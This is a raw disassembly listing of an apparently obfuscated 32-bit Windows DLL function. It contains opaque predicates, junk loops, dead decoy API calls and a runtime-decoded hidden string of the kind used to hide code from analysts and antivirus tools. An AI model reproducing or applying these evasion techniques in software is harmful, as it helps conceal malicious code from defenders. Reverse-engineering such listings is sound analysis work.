mov dword [ebp - 0x208], 0x90a624cd
mov dword [ebp - 0x30], 0xa32f3f60
mov dword [ebp - 0x568], 0xc570
mov dword [ebp - 0x48c], 5
mov byte [ebp - 0x8d], 0
movzx eax, byte [ebp - 0x8d]
test eax, eax
je 0x1001bdcd
push 0x1bc7
call dword [sym.imp.USER32.dll_SetCapture]
or eax, 0xffffffff
je 0x1001bdda
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x30]
je 0x1001bde9
cmp dword [ebp - 0x30], 0
jne 0x1001bde9
and dword [ebp - 0x324], 0
jmp 0x1001bdf3
mov dword [ebp - 0x324], 1
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x324]
cmp eax, dword [ebp - 0x30]
jg 0x1001be0d
mov dword [ebp - 0x424], 1
jmp 0x1001be14
and dword [ebp - 0x424], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x424], eax
jle 0x1001be2b
mov dword [ebp - 0x32c], 1
jmp 0x1001be32
and dword [ebp - 0x32c], 0
mov eax, dword [ebp - 0x208]
imul eax, dword [ebp - 0x32c]
add eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x30]
jne 0x1001be53
mov dword [ebp - 0x484], 1
jmp 0x1001be5a
and dword [ebp - 0x484], 0
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x568]
cmp eax, dword [ebp - 0x208]
jg 0x1001be78
mov dword [ebp - 0x3bc], 1
jmp 0x1001be7f
and dword [ebp - 0x3bc], 0
mov eax, dword [ebp - 0x208]
add eax, dword [ebp - 0x3bc]
mov ecx, 0x439beb06
sub ecx, eax
imul ecx, dword [ebp - 0x30]
mov dword [ebp - 0x48c], ecx
mov dword [ebp - 0x5a4], 0x61928c17
mov dword [ebp - 0x5a0], 0x61928c17
mov dword [ebp - 0x59c], 0x61928c17
mov dword [ebp - 0x598], 0x61928c17
mov dword [ebp - 0x5c], 0
push 1
lea ecx, [ebp - 0x55c]
call fcn.10004595
mov dword [ebp - 4], 9
push 2
lea ecx, [ebp - 0x54c]
call fcn.10004595
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x258], 0x491f199e
mov dword [ebp - 0x4a0], 0x6f0d4a7c
mov dword [ebp - 0x48], 0
jmp 0x1001bf14
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 1
jge 0x1001bf30
push dword [ebp - 0x48]
lea ecx, [ebp - 0x55c]
call fcn.100045fc
mov dword [eax], 0x29edca8f
jmp 0x1001bf0d
mov dword [ebp - 0x48], 0
jmp 0x1001bf40
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jge 0x1001bf5c
push dword [ebp - 0x48]
lea ecx, [ebp - 0x54c]
call fcn.100045fc
mov dword [eax], 0xfffffffa
jmp 0x1001bf39
mov dword [ebp - 0x5c], 0
jmp 0x1001bf6c
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 3
jg 0x1001c167
push 1
lea ecx, [ebp - 0x44c]
call fcn.10004595
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x668], 0xfffffff8
mov dword [ebp - 0x528], 0x752f67d5
mov dword [ebp - 0x1bc], 0
jmp 0x1001bfb4
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 1
jge 0x1001bfd6
push dword [ebp - 0x1bc]
lea ecx, [ebp - 0x44c]
call fcn.100045fc
mov dword [eax], 1
jmp 0x1001bfa7
push 0
lea ecx, [ebp - 0x44c]
call fcn.100045fc
mov dword [eax], 3
jmp 0x1001c00f
push 0
lea ecx, [ebp - 0x44c]
call fcn.100045fc
mov dword [ebp - 0x334], eax
mov eax, dword [ebp - 0x334]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x334]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x44c]
call fcn.100045fc
cmp dword [eax], 0
jl 0x1001c153
push 3
lea ecx, [ebp - 0x53c]
call fcn.10004595
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x154], 0
jmp 0x1001c04f
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 3
jge 0x1001c06e
push dword [ebp - 0x154]
lea ecx, [ebp - 0x53c]
call fcn.100045fc
or dword [eax], 0xffffffff
jmp 0x1001c042
push 1
lea ecx, [ebp - 0x53c]
call fcn.100045fc
mov dword [eax], 3
jmp 0x1001c0a7
push 1
lea ecx, [ebp - 0x53c]
call fcn.100045fc
mov dword [ebp - 0x404], eax
mov eax, dword [ebp - 0x404]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x404]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x53c]
call fcn.100045fc
cmp dword [eax], 0
jl 0x1001c13f
push 0
lea ecx, [ebp - 0x55c]
call fcn.100045fc
mov dword [ebp - 0x33c], eax
mov eax, dword [ebp - 0x33c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x33c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x44c]
call fcn.100045fc
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x5a4]
mov dword [ebp - 0x1f4], eax
push 1
lea ecx, [ebp - 0x54c]
call fcn.100045fc
mov ecx, dword [ebp - 0x1f4]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0x44c]
call fcn.100045fc
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1f4]
mov dword [ebp + eax*4 - 0x5a4], ecx
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x528], eax
jmp 0x1001c083
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x53c]
call fcn.100045f7
jmp 0x1001bfeb
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x44c]
call fcn.100045f7
jmp 0x1001bf65
mov dword [ebp - 0x5c], 0
jmp 0x1001c177
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0xfffffffc
jl 0x1001c2d9
mov dword [ebp - 0x19c], 0xffffffff
mov dword [ebp - 0x248], 1
mov dword [ebp - 0x57c], 0xcaf1
push 4
pop eax
imul eax, eax, 0
lea eax, [ebp + eax - 0x5a4]
mov dword [ebp - 0x230], eax
push 0
lea ecx, [ebp - 0x55c]
call fcn.100045fc
mov ecx, dword [ebp - 0x230]
mov eax, dword [eax]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x54c]
call fcn.100045fc
mov ecx, dword [ebp - 0x230]
mov eax, dword [eax]
cmp eax, dword [ecx]
jne 0x1001c1ee
mov dword [ebp - 0x238], 1
jmp 0x1001c1f5
and dword [ebp - 0x238], 0
mov eax, dword [ebp - 0x19c]
cmp dword [ebp - 0x238], eax
jle 0x1001c20f
mov dword [ebp - 0x240], 1
jmp 0x1001c216
and dword [ebp - 0x240], 0
mov eax, dword [ebp - 0x240]
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x670], eax
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x678], eax
mov eax, 0x6930509b
cmp eax, 0xffffffff
jne 0x1001c257
mov dword [ebp - 0x22c], 1
jmp 0x1001c25e
and dword [ebp - 0x22c], 0
cmp dword [ebp - 0x22c], 6
je 0x1001c273
mov dword [ebp - 0x494], 1
jmp 0x1001c27a
and dword [ebp - 0x494], 0
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x680], eax
push 0
lea ecx, [ebp - 0x54c]
call fcn.100045fc
push 0
lea ecx, [ebp - 0x55c]
call fcn.100045fc
mov eax, dword [ebp - 0x57c]
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 1
ja 0x1001c2c1
mov dword [ebp - 0x260], 1
jmp 0x1001c2c8
and dword [ebp - 0x260], 0
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0x4a0], eax
jmp 0x1001c170
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x54c]
call fcn.100045f7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x55c]
call fcn.100045f7
cmp dword [0x100b5ba0], 0
jne 0x1001d6dd
mov dword [ebp - 0x530], 0x65f7
lea eax, [ebp - 0x530]
push eax
call fcn.10014f14
pop ecx
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x1ec], 0xffffffff
mov dword [ebp - 0x1e8], 0xffffffff
mov dword [ebp - 0x1e4], 0xffffffff
mov dword [ebp - 0x1e0], 0xffffffff
mov dword [ebp - 0x14], 7
push 1
lea ecx, [ebp - 0x610]
call fcn.10004595
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x38], 0x9d012742
mov dword [ebp - 0x2f0], 0x5799d45e
mov dword [ebp - 0x15c], 0
jmp 0x1001c38e
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 1
jge 0x1001c3b0
push dword [ebp - 0x15c]
lea ecx, [ebp - 0x610]
call fcn.100045fc
mov dword [eax], 0xfffffffb
jmp 0x1001c381
mov dword [ebp - 0x14], 3
jmp 0x1001c3c0
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jl 0x1001c898
mov dword [ebp - 0x268], 0xba8
mov dword [ebp - 0x4ac], str.nkbnjxwl_ndsa_tpfyjq_xuallsm_aaux_owyyjhy_iqa_mprjgkl_kcmicddpb_rsl_ifsq_dxq_lpwbexas
cmp dword [ebp - 0x268], 0xd31
jle 0x1001c49a
and dword [ebp - 0x1dc], 0
jmp 0x1001c404
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0x1ca
jge 0x1001c49a
and dword [ebp - 0x164], 0
jmp 0x1001c42a
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0x7e61
jge 0x1001c495
and dword [ebp - 0x1a4], 0
jmp 0x1001c44c
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0x4ebb
jge 0x1001c493
mov eax, dword [ebp - 0x1dc]
cdq
idiv dword [ebp - 0x164]
imul edx, dword [ebp - 0x1a4]
mov eax, edx
cdq
mov dword [ebp - 0x4b4], eax
mov dword [ebp - 0x4b0], edx
push dword [ebp - 0x4b0]
push dword [ebp - 0x4b4]
mov ecx, 0x1007bb98
call fcn.100042e3
jmp 0x1001c43f
jmp 0x1001c41d
jmp 0x1001c3f7
mov dword [ebp - 0x540], 0xfffffffc
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0x268], 0x8cf
jge 0x1001c4c4
mov edx, dword [ebp - 0x4ac]
mov ecx, 0x1007bb98
call fcn.100067dc
jmp 0x1001c4e0
mov dword [ebp - 4], 0xd
jmp 0x1001c4f0
mov dword [ebp - 0x4b8], 0x720f84b0
mov dword [ebp - 0x688], 0xffffffff
mov dword [ebp - 0x2e8], 0xffff
push 4
pop eax
imul eax, eax, 3
push 4
pop ecx
imul ecx, ecx, 3
mov ecx, dword [ebp + ecx - 0x1ec]
cmp ecx, dword [ebp + eax - 0x1ec]
jge 0x1001c536
mov dword [ebp - 0x270], 1
jmp 0x1001c53d
and dword [ebp - 0x270], 0
cmp dword [ebp - 0x270], 1
jbe 0x1001c552
mov dword [ebp - 0x278], 1
jmp 0x1001c559
and dword [ebp - 0x278], 0
cmp dword [ebp - 0x278], 0xe7374489
jae 0x1001c571
mov dword [ebp - 0x280], 1
jmp 0x1001c578
and dword [ebp - 0x280], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x1ec]
cmp dword [ebp - 0x280], eax
jge 0x1001c596
mov dword [ebp - 0x288], 1
jmp 0x1001c59d
and dword [ebp - 0x288], 0
cmp dword [ebp - 0x288], 8
jbe 0x1001c5b2
mov dword [ebp - 0x290], 1
jmp 0x1001c5b9
and dword [ebp - 0x290], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x1ec]
cmp dword [ebp - 0x290], eax
je 0x1001c5e1
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x1ec], 0
jne 0x1001c5e1
and dword [ebp - 0x298], 0
jmp 0x1001c5eb
mov dword [ebp - 0x298], 1
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x1ec]
cmp eax, dword [ebp - 0x298]
je 0x1001c609
mov dword [ebp - 0x2a0], 1
jmp 0x1001c610
and dword [ebp - 0x2a0], 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp + ecx*4 - 0x1ec]
mov edx, dword [ebp - 0x2a0]
lea ecx, [edx + ecx - 0x1a2a1382]
cmp ecx, dword [ebp + eax*4 - 0x1ec]
jge 0x1001c63f
mov dword [ebp - 0x574], 1
jmp 0x1001c646
and dword [ebp - 0x574], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x6c4], eax
mov eax, 0xc5c3c3ae
cmp eax, 7
je 0x1001c665
mov dword [ebp - 0x2a8], 1
jmp 0x1001c66c
and dword [ebp - 0x2a8], 0
mov eax, dword [ebp - 0x2a8]
imul eax, dword [ebp - 0x14]
mov dword [ebp - 0x2b0], eax
push 0
lea ecx, [ebp - 0x610]
call fcn.100045fc
mov ecx, dword [ebp - 0x2b0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x1ec]
cmp eax, dword [ebp - 0x2b0]
jg 0x1001c6bb
xor eax, eax
inc eax
jne 0x1001c6bb
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x1001c6bb
mov dword [ebp - 0x2b8], 1
jmp 0x1001c6c2
and dword [ebp - 0x2b8], 0
cmp dword [ebp - 0x2b8], 0xb101
jle 0x1001c6da
mov dword [ebp - 0x2c0], 1
jmp 0x1001c6e1
and dword [ebp - 0x2c0], 0
mov eax, dword [ebp - 0x2c0]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x1ec], 0xa426
je 0x1001c706
mov dword [ebp - 0x2c8], 1
jmp 0x1001c70d
and dword [ebp - 0x2c8], 0
mov eax, dword [ebp - 0x14]
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x1ec]
imul ecx, dword [ebp - 0x2c8]
cmp ecx, dword [ebp + eax*4 - 0x1ec]
je 0x1001c738
mov dword [ebp - 0x2d0], 1
jmp 0x1001c73f
and dword [ebp - 0x2d0], 0
mov eax, dword [ebp - 0x2d0]
sub eax, dword [ebp - 0x14]
je 0x1001c75f
mov eax, 0xfffa
test eax, eax
je 0x1001c75f
mov dword [ebp - 0x2d8], 1
jmp 0x1001c766
and dword [ebp - 0x2d8], 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x2d8]
add ecx, 7
sub ecx, dword [ebp + eax*4 - 0x1ec]
je 0x1001c813
mov dword [ebp - 0x2e0], 0x8b9a
mov dword [ebp - 0x38], 0
jmp 0x1001c799
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jg 0x1001c811
mov dword [ebp - 0x16c], 0xffffffff
mov dword [ebp - 0x16c], 3
jmp 0x1001c7c2
mov eax, dword [ebp - 0x16c]
dec eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0
jl 0x1001c802
mov byte [ebp - 0x8b], 0
movzx eax, byte [ebp - 0x8b]
test eax, eax
je 0x1001c800
push 0
push 0x2345
push 0x249f
push 0x1a63
push 0x2467
push 0xcf0
push 0
call dword [sym.imp.USER32.dll_TrackPopupMenu]
jmp 0x1001c7b5
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
jmp 0x1001c792
jmp 0x1001c844
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1ec], 0
je 0x1001c825
jmp 0x1001c898
mov byte [ebp - 0x89], 0
movzx eax, byte [ebp - 0x89]
test eax, eax
je 0x1001c844
push 0x23b0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov dword [ebp - 0x38], 3
jmp 0x1001c854
mov eax, dword [ebp - 0x38]
dec eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jl 0x1001c893
mov dword [ebp - 0x6cc], 0
mov dword [ebp - 0x63c], 0x470e9879
mov dword [ebp - 0x6dc], 0xffffffff
mov eax, dword [ebp - 0x4b8]
mov dword [ebp - 0x540], eax
mov eax, dword [ebp - 0x2e8]
dec eax
mov dword [ebp - 0x2e8], eax
jmp 0x1001c84d
jmp 0x1001c3b9
mov dword [ebp - 0x14], 0
jmp 0x1001c8a8
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffee
jle 0x1001c8c7
mov dword [ebp - 0x6e4], 6
mov eax, dword [ebp - 0x2f0]
dec eax
mov dword [ebp - 0x2f0], eax
jmp 0x1001c8a1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x610]
call fcn.100045f7
mov dword [ebp - 0xb4], 0x32fe2236
mov dword [ebp - 0x6fc], 0xf7a7
mov dword [ebp - 0x1c4], 0
jmp 0x1001c903
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 4
jge 0x1001c91f
mov eax, dword [ebp - 0x1c4]
mov dword [ebp + eax*4 - 0x740], 3
jmp 0x1001c8f6
mov dword [ebp - 0xb4], 3
jmp 0x1001c938
mov eax, dword [ebp - 0xb4]
dec eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
jl 0x1001c968
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x740]
mov ecx, dword [ebp - 0xb4]
mov dword [ebp + ecx*4 - 0x740], eax
cmp dword [ebp - 0xb4], 0
je 0x1001c966
jmp 0x1001c968
jmp 0x1001c92b
mov byte [ebp - 0x10c], 2
mov byte [ebp - 0x10b], 0x2e
mov byte [ebp - 0x10a], 8
mov byte [ebp - 0x109], 0x1b
mov byte [ebp - 0x108], 0xc
mov byte [ebp - 0x107], 0x38
mov byte [ebp - 0x106], 4
mov byte [ebp - 0x105], 0x30
mov byte [ebp - 0x104], 0x80
mov byte [ebp - 0x103], 0xa2
mov byte [ebp - 0x102], 0x16
mov byte [ebp - 0x101], 4
mov byte [ebp - 0x100], 0x32
mov byte [ebp - 0xff], 1
mov byte [ebp - 0xfe], 0
mov byte [ebp - 0xfd], 9
mov byte [ebp - 0xfc], 0xb
mov byte [ebp - 0xfb], 3
mov byte [ebp - 0xfa], 0x38
mov byte [ebp - 0xf9], 0xa
mov byte [ebp - 0xf8], 0x13
mov byte [ebp - 0xf7], 7
mov byte [ebp - 0xf6], 0x2c
mov byte [ebp - 0xf5], 0
mov byte [ebp - 0xf4], 0x2e
mov byte [ebp - 0xf3], 6
mov byte [ebp - 0xf2], 0x34
mov byte [ebp - 0xf1], 5
mov byte [ebp - 0xf0], 1
mov byte [ebp - 0xef], 0xb
mov byte [ebp - 0xee], 0xa
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x10c]
and eax, 0x5a
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x10c]
or ecx, 0x5a
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x10c]
mov byte [ebp + eax - 0x58c], cl
mov dword [ebp - 0x2c], 2
and dword [ebp - 0x174], 0
jmp 0x1001ca92
mov eax, dword [ebp - 0x2c]
inc eax
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x1f
jae 0x1001cb48
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x10c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x2c], eax
jne 0x1001cadc
mov eax, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0x10c]
inc eax
mov dword [ebp - 0x174], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0x10c]
mov ecx, dword [ebp - 0x2c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x2c], eax
jmp 0x1001ca8a
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x174]
movzx eax, byte [ebp + eax - 0x10e]
movsx eax, byte [ebp + eax - 0x58c]
mov ecx, dword [ebp - 0x2c]
movzx ecx, byte [ebp + ecx - 0x10b]
and ecx, eax
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x174]
movzx eax, byte [ebp + eax - 0x10e]
movsx eax, byte [ebp + eax - 0x58c]
mov edx, dword [ebp - 0x2c]
movzx edx, byte [ebp + edx - 0x10b]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0x10c]
mov byte [ebp + eax - 0x58c], dl
and dword [ebp - 0x174], 0
jmp 0x1001ca8a
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x58c], 0
mov dword [ebp - 0x308], 2
mov dword [ebp - 0x204], 0x998ab545
mov dword [ebp - 0x1fc], 0xfffffffc
push 3
lea ecx, [ebp - 0x5d4]
call fcn.10004595
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x4d0], 0x92426f37
mov dword [ebp - 0x28], 0
jmp 0x1001cba2
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x1001cbb8
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x228], 0x4c506d44
jmp 0x1001cb9b
mov dword [ebp - 0x28], 0
jmp 0x1001cbc8
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x1001cbe1
push dword [ebp - 0x28]
lea ecx, [ebp - 0x5d4]
call fcn.100045fc
or dword [eax], 0xffffffff
jmp 0x1001cbc1
mov dword [ebp - 0x28], 0
jmp 0x1001cbf1
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x1001cc07
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x6b0], 1
jmp 0x1001cbea
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x228]
mov dword [ebp - 0x704], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x228]
mov dword [ebp - 0x6f0], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x228]
mov dword [ebp - 0x6a4], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x228]
mov dword [ebp - 0x644], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x228]
mov dword [ebp - 0x6c0], eax
xor eax, eax
dec eax
je 0x1001cc7e
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x1001cc7e
mov dword [ebp - 0x2f8], 1
jmp 0x1001cc85
and dword [ebp - 0x2f8], 0
push 1
lea ecx, [ebp - 0x5d4]
call fcn.100045fc
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x1f8]
mov eax, dword [eax]
mov dword [ebp - 0x4c4], eax
mov eax, dword [ebp - 0x2f8]
mov dword [ebp - 0x590], eax
mov eax, dword [ebp - 0x1f8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1f8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c4]
cmp eax, dword [ebp - 0x590]
jle 0x1001ccdd
mov dword [ebp - 0x300], 1
jmp 0x1001cce4
and dword [ebp - 0x300], 0
mov eax, dword [ebp - 0x204]
imul eax, dword [ebp - 0x300]
imul eax, dword [ebp - 0x1fc]
test eax, eax
je 0x1001cd1a
push 1
lea ecx, [ebp - 0x5d4]
call fcn.100045fc
cmp dword [eax], 0
je 0x1001cd1a
mov dword [ebp - 0x310], 1
jmp 0x1001cd21
and dword [ebp - 0x310], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x228]
mov dword [ebp - 0x308], eax
mov eax, dword [ebp - 0x308]
cmp eax, dword [ebp - 0x310]
jge 0x1001cd4e
mov dword [ebp - 0x318], 1
jmp 0x1001cd55
and dword [ebp - 0x318], 0
mov eax, dword [ebp - 0x318]
mov dword [ebp - 0x204], eax
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x320], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x320]
mov dword [ebp + eax - 0x6b0], ecx
mov eax, dword [ebp - 0x1fc]
cmp dword [ebp - 0x320], eax
je 0x1001cd9a
mov dword [ebp - 0x328], 1
jmp 0x1001cda1
and dword [ebp - 0x328], 0
mov eax, dword [ebp - 0x1fc]
cmp dword [ebp - 0x328], eax
jge 0x1001cdbb
mov dword [ebp - 0x330], 1
jmp 0x1001cdc2
and dword [ebp - 0x330], 0
mov eax, dword [ebp - 0x330]
mov dword [ebp - 0x4d0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5d4]
call fcn.100045f7
lea eax, [ebp - 0x58c]
push eax
lea ecx, [ebp - 0x7d4]
call fcn.1001fc57
mov dword [ebp - 0x4f8], eax
mov eax, dword [ebp - 0x4f8]
mov dword [ebp - 0x4dc], eax
mov dword [ebp - 4], 0x11
mov edx, dword [ebp - 0x388]
mov ecx, dword [ebp - 0x4dc]
call fcn.1000b9a4
mov dword [0x100b5ba0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7d4]
call fcn.10004502
mov dword [ebp - 0xb0], 0x1928c176
mov dword [ebp - 0xc0], 0xffff
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x4fc], 0xd53a38d0
mov dword [ebp - 0x64c], 4
mov dword [ebp - 0x1ac], 0
jmp 0x1001ce78
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 4
jge 0x1001ce94
mov eax, dword [ebp - 0x1ac]
mov dword [ebp + eax*4 - 0x638], 0xffffffff
jmp 0x1001ce6b
mov dword [ebp - 0xb0], 0xffffffee
jmp 0x1001cead
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0xfffffff1
je 0x1001cf45
mov dword [ebp - 0x17c], 8
mov dword [ebp - 0x17c], 0xfffffff8
jmp 0x1001cedd
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0xfffffffa
jl 0x1001cf40
mov dword [ebp - 0xb8], 0xffffffff
mov dword [ebp - 0xb8], 0
jmp 0x1001cf09
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 3
jg 0x1001cf3e
mov byte [ebp - 0x91], 0
movzx eax, byte [ebp - 0x91]
test eax, eax
je 0x1001cf2a
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
mov eax, dword [ebp - 0xb8]
cmp dword [ebp + eax*4 - 0x638], 0
je 0x1001cf3c
jmp 0x1001cefc
jmp 0x1001cefc
jmp 0x1001ced0
jmp 0x1001cea0
xor eax, eax
jne 0x1001d03b
cmp dword [ebp - 0xc0], 0
jne 0x1001cf6d
mov eax, dword [ebp - 0x338]
cmp eax, dword [ebp - 0x338]
je 0x1001cf6d
and dword [ebp - 0x340], 0
jmp 0x1001cf77
mov dword [ebp - 0x340], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x638]
imul eax, dword [ebp - 0x340]
neg eax
cmp eax, dword [ebp - 0xc0]
jle 0x1001cfa1
mov dword [ebp - 0x348], 1
jmp 0x1001cfa8
and dword [ebp - 0x348], 0
mov eax, dword [ebp - 0xc0]
cmp eax, dword [ebp - 0x348]
jl 0x1001cfc2
mov dword [ebp - 0x350], 1
jmp 0x1001cfc9
and dword [ebp - 0x350], 0
mov eax, dword [ebp - 0xc0]
cmp dword [ebp - 0x350], eax
jle 0x1001cfe3
mov dword [ebp - 0x358], 1
jmp 0x1001cfea
and dword [ebp - 0x358], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x638]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0xb0]
cmp eax, dword [ebp - 0x358]
je 0x1001d016
mov dword [ebp - 0x360], 1
jmp 0x1001d01d
and dword [ebp - 0x360], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x638]
cmp dword [ebp - 0x360], eax
jne 0x1001d03b
and dword [ebp - 0x368], 0
jmp 0x1001d045
mov dword [ebp - 0x368], 1
mov eax, dword [ebp - 0xc0]
cmp dword [ebp - 0x368], eax
jg 0x1001d05f
mov dword [ebp - 0x370], 1
jmp 0x1001d066
and dword [ebp - 0x370], 0
mov eax, dword [ebp - 0x370]
mov dword [ebp - 0x4fc], eax
and dword [ebp - 0x11c], 0
jmp 0x1001d088
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0xe
jae 0x1001d0a1
mov eax, dword [ebp - 0x11c]
mov byte [ebp + eax - 0x58c], 0
jmp 0x1001d07b
mov dword [ebp - 0x6ec], 0xfe387fb0
mov byte [ebp - 0x88], 0
